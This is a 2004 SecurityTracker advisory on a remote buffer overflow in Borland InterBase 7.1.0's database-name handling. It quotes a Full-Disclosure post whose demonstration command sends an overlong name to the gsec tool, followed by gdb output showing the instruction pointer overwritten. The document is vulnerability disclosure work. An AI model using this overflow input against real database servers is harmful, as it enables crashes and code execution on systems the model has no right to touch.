InterBase Buffer Overflow in Processing Database Name Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1010381 |
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SecurityTracker URL: http://securitytracker.com/id/1010381
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jun 3 2004
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Impact:
Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 7.1.0
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Description:
A vulnerability was reported in the Borland InterBase database in the processing of database names. A remote user can execute arbitrary code on the target system.
KF reported that a remote user can connect to the database and send a specially crafted database name to execute arbitrary code.
A demonstration exploit command is provided:
./gsec -database 127.0.0.1:`perl -e'print ("A"x300)'`
The same type of vulnerability was previously reported in Firebird by Noam Rathaus of SecuriTeam.
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Impact:
A remote user can execute arbitrary code on the target system.
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Solution:
No solution was available at the time of this entry.
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Vendor URL: www.borland.com/interbase/index.html (Links to External Site)
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Cause:
Boundary error
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Underlying OS:
Linux (Any), UNIX (Any)
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Message History:
None.
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Source Message Contents
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Date: Wed, 02 Jun 2004 22:03:51 -0400
Subject: [Full-Disclosure] Firebird [ AND Interbase 7 ] Database Remote Database Name Overflow
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Someone that has had some success communicating things security wise to
Borland may wish to contact them about this.
[root@CloneRiot bin]# rpm -ivh /root/InterBaseSS_LI-V7.1.0-1.i386.rpm
[kf@CloneRiot bin]$ pwd
/opt/interbase/bin
[kf@CloneRiot bin]$ ./gsec -database 127.0.0.1:`perl -e'print ("A"x300)'`
(gdb) c
Continuing.
[New Thread 1085279152 (LWP 21355)]
[New Thread 1095769008 (LWP 21356)]
[New Thread 1106258864 (LWP 21357)]
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1085279152 (LWP 21355)]
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
#1 0x41414141 in ?? ()
#2 0x41414141 in ?? ()
...
#35 0x41414141 in ?? ()
#36 0x41414141 in ?? ()
(gdb)
(gdb) i r
eax 0x0 0
ecx 0x82025e4 136324580
edx 0x0 0
ebx 0x81fe29c 136307356
esp 0x40aff5f8 0x40aff5f8
ebp 0x41414141 0x41414141
esi 0x12c 300
edi 0x40affab8 1085274808
eip 0x41414141 0x41414141
eflags 0x10246 66118
(gdb) x/1s $esp
0x40aff5f8: 'A' <repeats 144 times>
[root@CloneRiot interbase]# ./bin/ibserver
Segmentation fault
-KF
Noam Rathaus wrote:
>On Sunday 02 June 2002 01:52, KF (lists) wrote:
>
>
>>So is this firebird specific or does it also impact Borland Interbase
>>users?
>>-KF
>>
>>
>>
>We haven't tested Borland's Interbase as we didn't have any installation
>available for testing. However I can assume that since this vulnerability
>appears in version 1.0.2, which is of very close resemblance to Borland's
>Interbase sources, that the vulnerability may also affect it.
>
>
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
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